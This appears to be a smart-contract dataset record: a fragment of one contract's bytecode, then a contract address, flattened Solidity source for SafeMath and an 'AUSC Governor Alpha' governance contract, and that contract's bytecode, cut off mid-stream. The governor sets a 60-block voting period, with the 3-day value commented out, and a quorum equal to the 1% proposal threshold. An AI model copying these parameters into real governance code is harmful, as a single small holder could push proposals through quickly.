5b60008282101561309657613096613131565b500390565b60005b838110156130b657818101518382015260200161309e565b83811115610b695750506000910152565b6002810460018216806130db57607f821691505b602082108114156130fc57634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561311657613116613131565b5060010190565b60008261312c5761312c613147565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461121657600080fd5b6001600160e01b03198116811461121657600080fdfe4d6574615472616e73616374696f6e2875696e74323536206e6f6e63652c616464726573732066726f6d2c62797465732066756e6374696f6e5369676e6174757265294f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657268747470733a2f2f666c6f77657270656f706c656e66742e78797a2f6170692f636f6e74726163742f31a2646970667358221220a1a34b2a10fba10bce98386f7aaca51947beb0dbffff1a0eb9a804d99e5e16bd64736f6c63430008020033
[ 5 ]
0xF2084888633eF1859Bb0Ab6708b926De93eD7f62
// File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/governance/GovernorAlpha.sol pragma solidity 0.5.16; pragma experimental ABIEncoderV2; // Original work from Compound: https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol // Modified to work in the YAM system // all votes work on underlying _auscBalances[address], not balanceOf(address) // Original audit: https://blog.openzeppelin.com/compound-alpha-governance-system-audit/ // Overview: // No Critical // High: // Issue: // Approved proposal may be impossible to queue, cancel or execute // Fixed with `proposalMaxOperations` // Issue: // Queued proposal with repeated actions cannot be executed // Fixed by explicitly disallow proposals with repeated actions to be queued in the Timelock contract. // // Changes made by YAM after audit: // Formatting, naming, & uint256 instead of uint // Since YAM supply changes, updated quorum & proposal requirements // If any uint96, changed to uint256 to match YAM as opposed to comp contract GovernorAlpha { /// @notice The name of this contract string public constant name = "AUSC Governor Alpha"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes() public view returns (uint256) { return proposalThreshold(); } // Quorum always exists if the proposer votes for /// @notice The number of votes required in order for a voter to become a proposer function proposalThreshold() public view returns (uint256) { return SafeMath.div(ausc.initSupply(), 100); } // 1% of AUSC /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint256) { return 10; } // 10 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint256) { return 1; } // 1 block /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint256) {return 60;} // { return 17280; } // ~3 days in blocks (assuming 15s blocks) /// @notice The address of the Compound Protocol Timelock TimelockInterface public timelock; /// @notice The address of the Compound governance token AUSCInterface public ausc; /// @notice The address of the Governor Guardian address public guardian; /// @notice The total number of proposals uint256 public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint256 id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint256 eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint256 startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint256 endBlock; /// @notice Current number of votes in favor of this proposal uint256 forVotes; /// @notice Current number of votes in opposition to this proposal uint256 againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint256 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint256 => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint256) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint256 id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint256 startBlock, uint256 endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint256 proposalId, bool support, uint256 votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint256 id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint256 id, uint256 eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint256 id); constructor(address timelock_, address ausc_) public { timelock = TimelockInterface(timelock_); ausc = AUSCInterface(ausc_); guardian = msg.sender; } function propose( address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description ) public returns (uint256) { require(ausc.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold"); require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint256 latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal"); } uint256 startBlock = add256(block.number, votingDelay()); uint256 endBlock = add256(startBlock, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated( newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description ); return newProposal.id; } function queue(uint256 proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint256 eta = add256(block.timestamp, timelock.delay()); for (uint256 i = 0; i < proposal.targets.length; i++) { _queueOrRevert( proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta ); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert( address target, uint256 value, string memory signature, bytes memory data, uint256 eta ) internal { require(!timelock.queuedTransactions( keccak256( abi.encode( target, value, signature, data, eta ) ) ), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta" ); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint256 proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint256 i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction.value(proposal.values[i])(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint256 proposalId) public { ProposalState state = state(proposalId); require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || ausc.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold"); proposal.canceled = true; for (uint256 i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getActions(uint256 proposalId) public view returns ( address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas ) { Proposal storage p = proposals[proposalId]; return (p.targets, p.values, p.signatures, p.calldatas); } function getReceipt(uint256 proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint256 proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint256 proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function _castVote( address voter, uint256 proposalId, bool support ) internal { require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted"); uint256 votes = ausc.getPriorVotes(voter, proposal.startBlock); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin( address newPendingAdmin, uint256 eta ) public { require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin( address newPendingAdmin, uint256 eta ) public { require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "subtraction underflow"); return a - b; } } interface TimelockInterface { function delay() external view returns (uint256); function GRACE_PERIOD() external view returns (uint256); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta) external returns (bytes32); function cancelTransaction(address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta) external; function executeTransaction(address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta) external payable returns (bytes memory); } interface AUSCInterface { function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256); function initSupply() external view returns (uint256); function _acceptGov() external; }
0x6080604052600436106101615760003560e01c8063760fbc13116100c1578063d33219b41161007a578063d33219b4146103be578063da35c664146103d3578063da95691a146103e8578063ddf0b00914610408578063deaaa7cc14610428578063e23a9a521461043d578063fe0d94c11461046a57610161565b8063760fbc13146103285780637bdbe4d01461033d57806387dbff24146103525780639150067114610374578063b58131b014610394578063b9a61961146103a957610161565b806321f43e421161011e57806321f43e421461023f57806324bc1a641461025f578063328dd982146102745780633932abb1146102a45780633e4f49e6146102b957806340e58ee5146102e6578063452a93201461030657610161565b8063013cf08b1461016657806302a251a3146101a457806306fdde03146101c657806315373e3d146101e857806317977c611461020a57806320606b701461022a575b600080fd5b34801561017257600080fd5b506101866101813660046122ec565b61047d565b60405161019b99989796959493929190613253565b60405180910390f35b3480156101b057600080fd5b506101b96104d6565b60405161019b9190613022565b3480156101d257600080fd5b506101db6104dc565b60405161019b919061304c565b3480156101f457600080fd5b5061020861020336600461233a565b61050b565b005b34801561021657600080fd5b506101b961022536600461212f565b61051a565b34801561023657600080fd5b506101b961052c565b34801561024b57600080fd5b5061020861025a366004612155565b610543565b34801561026b57600080fd5b506101b961062a565b34801561028057600080fd5b5061029461028f3660046122ec565b610639565b60405161019b9493929190612fd5565b3480156102b057600080fd5b506101b96108c8565b3480156102c557600080fd5b506102d96102d43660046122ec565b6108cd565b60405161019b919061303e565b3480156102f257600080fd5b506102086103013660046122ec565b610a4f565b34801561031257600080fd5b5061031b610caf565b60405161019b9190612e7f565b34801561033457600080fd5b50610208610cbe565b34801561034957600080fd5b506101b9610cfa565b34801561035e57600080fd5b50610367610cff565b60405161019b9190613030565b34801561038057600080fd5b5061020861038f366004612155565b610d0e565b3480156103a057600080fd5b506101b9610de3565b3480156103b557600080fd5b50610208610e75565b3480156103ca57600080fd5b50610367610efa565b3480156103df57600080fd5b506101b9610f09565b3480156103f457600080fd5b506101b961040336600461218f565b610f0f565b34801561041457600080fd5b506102086104233660046122ec565b611328565b34801561043457600080fd5b506101b9611592565b34801561044957600080fd5b5061045d61045836600461230a565b61159e565b60405161019b919061319d565b6102086104783660046122ec565b611602565b6004602052600090815260409020805460018201546002830154600784015460088501546009860154600a870154600b9097015495966001600160a01b0390951695939492939192909160ff8082169161010090041689565b603c5b90565b604051806040016040528060138152602001724155534320476f7665726e6f7220416c70686160681b81525081565b6105163383836117c7565b5050565b60056020526000908152604090205481565b60405161053890612e69565b604051809103902081565b6002546001600160a01b031633146105765760405162461bcd60e51b815260040161056d9061308d565b60405180910390fd5b600080546040516001600160a01b0390911691630825f38f918391906105a0908790602001612e7f565b604051602081830303815290604052856040518563ffffffff1660e01b81526004016105cf9493929190612ea8565b600060405180830381600087803b1580156105e957600080fd5b505af11580156105fd573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261062591908101906122b7565b505050565b6000610634610de3565b905090565b606080606080600060046000878152602001908152602001600020905080600301816004018260050183600601838054806020026020016040519081016040528092919081815260200182805480156106bb57602002820191906000526020600020905b81546001600160a01b0316815260019091019060200180831161069d575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561070d57602002820191906000526020600020905b8154815260200190600101908083116106f9575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156107e05760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156107cc5780601f106107a1576101008083540402835291602001916107cc565b820191906000526020600020905b8154815290600101906020018083116107af57829003601f168201915b505050505081526020019060010190610735565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156108b25760008481526020908190208301805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529283018282801561089e5780601f106108735761010080835404028352916020019161089e565b820191906000526020600020905b81548152906001019060200180831161088157829003601f168201915b505050505081526020019060010190610807565b5050505090509450945094509450509193509193565b600190565b600081600354101580156108e15750600082115b6108fd5760405162461bcd60e51b815260040161056d9061309d565b6000828152600460205260409020600b81015460ff1615610922576002915050610a4a565b80600701544311610937576000915050610a4a565b8060080154431161094c576001915050610a4a565b80600a0154816009015411158061096d575061096661062a565b8160090154105b1561097c576003915050610a4a565b600281015461098f576004915050610a4a565b600b810154610100900460ff16156109ab576007915050610a4a565b6002810154600054604080516360d143f160e11b81529051610a3493926001600160a01b03169163c1a287e2916004808301926020929190829003018186803b1580156109f757600080fd5b505afa158015610a0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610a2f9190810190612299565b611963565b4210610a44576006915050610a4a565b60059150505b919050565b6000610a5a826108cd565b90506007816007811115610a6a57fe5b1415610a885760405162461bcd60e51b815260040161056d9061315d565b60008281526004602052604090206002546001600160a01b0316331480610b4a5750610ab2610de3565b60018054838201546001600160a01b039182169263782d6fe19290911690610adb90439061198f565b6040518363ffffffff1660e01b8152600401610af8929190612ef7565b60206040518083038186803b158015610b1057600080fd5b505afa158015610b24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610b489190810190612299565b105b610b665760405162461bcd60e51b815260040161056d9061310d565b600b8101805460ff1916600117905560005b6003820154811015610c72576000546003830180546001600160a01b039092169163591fcdfe919084908110610baa57fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610bd257fe5b9060005260206000200154856005018581548110610bec57fe5b90600052602060002001866006018681548110610c0557fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610c34959493929190612f94565b600060405180830381600087803b158015610c4e57600080fd5b505af1158015610c62573d6000803e3d6000fd5b505060019092019150610b789050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610ca29190613022565b60405180910390a1505050565b6002546001600160a01b031681565b6002546001600160a01b03163314610ce85760405162461bcd60e51b815260040161056d9061318d565b600280546001600160a01b0319169055565b600a90565b6001546001600160a01b031681565b6002546001600160a01b03163314610d385760405162461bcd60e51b815260040161056d906130cd565b600080546040516001600160a01b0390911691633a66f90191839190610d62908790602001612e7f565b604051602081830303815290604052856040518563ffffffff1660e01b8152600401610d919493929190612ea8565b602060405180830381600087803b158015610dab57600080fd5b505af1158015610dbf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506106259190810190612299565b6000610634600160009054906101000a90046001600160a01b03166001600160a01b03166397d63f936040518163ffffffff1660e01b815260040160206040518083038186803b158015610e3657600080fd5b505afa158015610e4a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610e6e9190810190612299565b60646119b7565b6002546001600160a01b03163314610e9f5760405162461bcd60e51b815260040161056d9061305d565b6000805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b6819260048084019382900301818387803b158015610ee057600080fd5b505af1158015610ef4573d6000803e3d6000fd5b50505050565b6000546001600160a01b031681565b60035481565b6000610f19610de3565b600180546001600160a01b03169063782d6fe1903390610f3a90439061198f565b6040518363ffffffff1660e01b8152600401610f57929190612e8d565b60206040518083038186803b158015610f6f57600080fd5b505afa158015610f83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610fa79190810190612299565b11610fc45760405162461bcd60e51b815260040161056d9061313d565b84518651148015610fd6575083518651145b8015610fe3575082518651145b610fff5760405162461bcd60e51b815260040161056d906130fd565b855161101d5760405162461bcd60e51b815260040161056d9061312d565b611025610cfa565b865111156110455760405162461bcd60e51b815260040161056d906130dd565b3360009081526005602052604090205480156110c2576000611066826108cd565b9050600181600781111561107657fe5b14156110945760405162461bcd60e51b815260040161056d9061314d565b60008160078111156110a257fe5b14156110c05760405162461bcd60e51b815260040161056d906130bd565b505b60006110d043610a2f6108c8565b905060006110e082610a2f6104d6565b60038054600101905590506110f3611b8f565b604051806101a001604052806003548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060046000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506040820151816002015560608201518160030190805190602001906111d6929190611c04565b50608082015180516111f2916004840191602090910190611c69565b5060a0820151805161120e916005840191602090910190611cb0565b5060c0820151805161122a916006840191602090910190611d09565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516005600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e604051611310999897969594939291906131ab565b60405180910390a15193505050505b95945050505050565b6004611333826108cd565b600781111561133e57fe5b1461135b5760405162461bcd60e51b815260040161056d9061306d565b600081815260046020818152604080842084548251630d48571f60e31b815292519195946113b09442946001600160a01b0390931693636a42b8f8938084019390829003018186803b1580156109f757600080fd5b905060005b6003830154811015611558576115508360030182815481106113d357fe5b6000918252602090912001546004850180546001600160a01b0390921691849081106113fb57fe5b906000526020600020015485600501848154811061141557fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156114a35780601f10611478576101008083540402835291602001916114a3565b820191906000526020600020905b81548152906001019060200180831161148657829003601f168201915b50505050508660060185815481106114b757fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156115455780601f1061151a57610100808354040283529160200191611545565b820191906000526020600020905b81548152906001019060200180831161152857829003601f168201915b5050505050866119f9565b6001016113b5565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610ca290859084906132d9565b60405161053890612e74565b6115a6611d62565b5060008281526004602090815260408083206001600160a01b0385168452600c018252918290208251606081018452815460ff808216151583526101009091041615159281019290925260010154918101919091525b92915050565b600561160d826108cd565b600781111561161857fe5b146116355760405162461bcd60e51b815260040161056d9061307d565b6000818152600460205260408120600b8101805461ff001916610100179055905b600382015481101561178b576000546004830180546001600160a01b0390921691630825f38f91908490811061168857fe5b90600052602060002001548460030184815481106116a257fe5b6000918252602090912001546004860180546001600160a01b0390921691869081106116ca57fe5b90600052602060002001548660050186815481106116e457fe5b906000526020600020018760060187815481106116fd57fe5b9060005260206000200188600201546040518763ffffffff1660e01b815260040161172c959493929190612f94565b6000604051808303818588803b15801561174557600080fd5b505af1158015611759573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f1916820160405261178291908101906122b7565b50600101611656565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f826040516117bb9190613022565b60405180910390a15050565b60016117d2836108cd565b60078111156117dd57fe5b146117fa5760405162461bcd60e51b815260040161056d9061316d565b60008281526004602090815260408083206001600160a01b0387168452600c8101909252909120805460ff16156118435760405162461bcd60e51b815260040161056d906130ad565b600154600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611879918a91600401612ef7565b60206040518083038186803b15801561189157600080fd5b505afa1580156118a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506118c99190810190612299565b905083156118e9576118df836009015482611963565b60098401556118fd565b6118f783600a015482611963565b600a8401555b8154600160ff19909116811761ff0019166101008615150217835582018190556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611953908890889088908690612f05565b60405180910390a1505050505050565b6000828201838110156119885760405162461bcd60e51b815260040161056d906130ed565b9392505050565b6000828211156119b15760405162461bcd60e51b815260040161056d9061317d565b50900390565b600061198883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b58565b6000546040516001600160a01b039091169063f2b0653790611a279088908890889088908890602001612f3a565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611a599190613022565b60206040518083038186803b158015611a7157600080fd5b505afa158015611a85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611aa9919081019061227b565b15611ac65760405162461bcd60e51b815260040161056d9061311d565b600054604051633a66f90160e01b81526001600160a01b0390911690633a66f90190611afe9088908890889088908890600401612f3a565b602060405180830381600087803b158015611b1857600080fd5b505af1158015611b2c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611b509190810190612299565b505050505050565b60008183611b795760405162461bcd60e51b815260040161056d919061304c565b506000838581611b8557fe5b0495945050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611c59579160200282015b82811115611c5957825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611c24565b50611c65929150611d82565b5090565b828054828255906000526020600020908101928215611ca4579160200282015b82811115611ca4578251825591602001919060010190611c89565b50611c65929150611da6565b828054828255906000526020600020908101928215611cfd579160200282015b82811115611cfd5782518051611ced918491602090910190611dc0565b5091602001919060010190611cd0565b50611c65929150611e2d565b828054828255906000526020600020908101928215611d56579160200282015b82811115611d565782518051611d46918491602090910190611dc0565b5091602001919060010190611d29565b50611c65929150611e50565b604080516060810182526000808252602082018190529181019190915290565b6104d991905b80821115611c655780546001600160a01b0319168155600101611d88565b6104d991905b80821115611c655760008155600101611dac565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611e0157805160ff1916838001178555611ca4565b82800160010185558215611ca45791820182811115611ca4578251825591602001919060010190611c89565b6104d991905b80821115611c65576000611e478282611e73565b50600101611e33565b6104d991905b80821115611c65576000611e6a8282611e73565b50600101611e56565b50805460018160011615610100020316600290046000825580601f10611e995750611eb7565b601f016020900490600052602060002090810190611eb79190611da6565b50565b80356115fc81613410565b600082601f830112611ed657600080fd5b8135611ee9611ee48261330e565b6132e7565b91508181835260208401935060208101905083856020840282011115611f0e57600080fd5b60005b83811015611f3a5781611f248882611eba565b8452506020928301929190910190600101611f11565b5050505092915050565b600082601f830112611f5557600080fd5b8135611f63611ee48261330e565b81815260209384019390925082018360005b83811015611f3a5781358601611f8b888261208f565b8452506020928301929190910190600101611f75565b600082601f830112611fb257600080fd5b8135611fc0611ee48261330e565b81815260209384019390925082018360005b83811015611f3a5781358601611fe8888261208f565b8452506020928301929190910190600101611fd2565b600082601f83011261200f57600080fd5b813561201d611ee48261330e565b9150818183526020840193506020810190508385602084028201111561204257600080fd5b60005b83811015611f3a57816120588882612124565b8452506020928301929190910190600101612045565b80356115fc81613424565b80516115fc81613424565b80516115fc8161342d565b600082601f8301126120a057600080fd5b81356120ae611ee48261332f565b915080825260208301602083018583830111156120ca57600080fd5b6120d58382846133c4565b50505092915050565b600082601f8301126120ef57600080fd5b81516120fd611ee48261332f565b9150808252602083016020830185838301111561211957600080fd5b6120d58382846133d0565b80356115fc8161342d565b60006020828403121561214157600080fd5b600061214d8484611eba565b949350505050565b6000806040838503121561216857600080fd5b60006121748585611eba565b925050602061218585828601612124565b9150509250929050565b600080600080600060a086880312156121a757600080fd5b853567ffffffffffffffff8111156121be57600080fd5b6121ca88828901611ec5565b955050602086013567ffffffffffffffff8111156121e757600080fd5b6121f388828901611ffe565b945050604086013567ffffffffffffffff81111561221057600080fd5b61221c88828901611fa1565b935050606086013567ffffffffffffffff81111561223957600080fd5b61224588828901611f44565b925050608086013567ffffffffffffffff81111561226257600080fd5b6122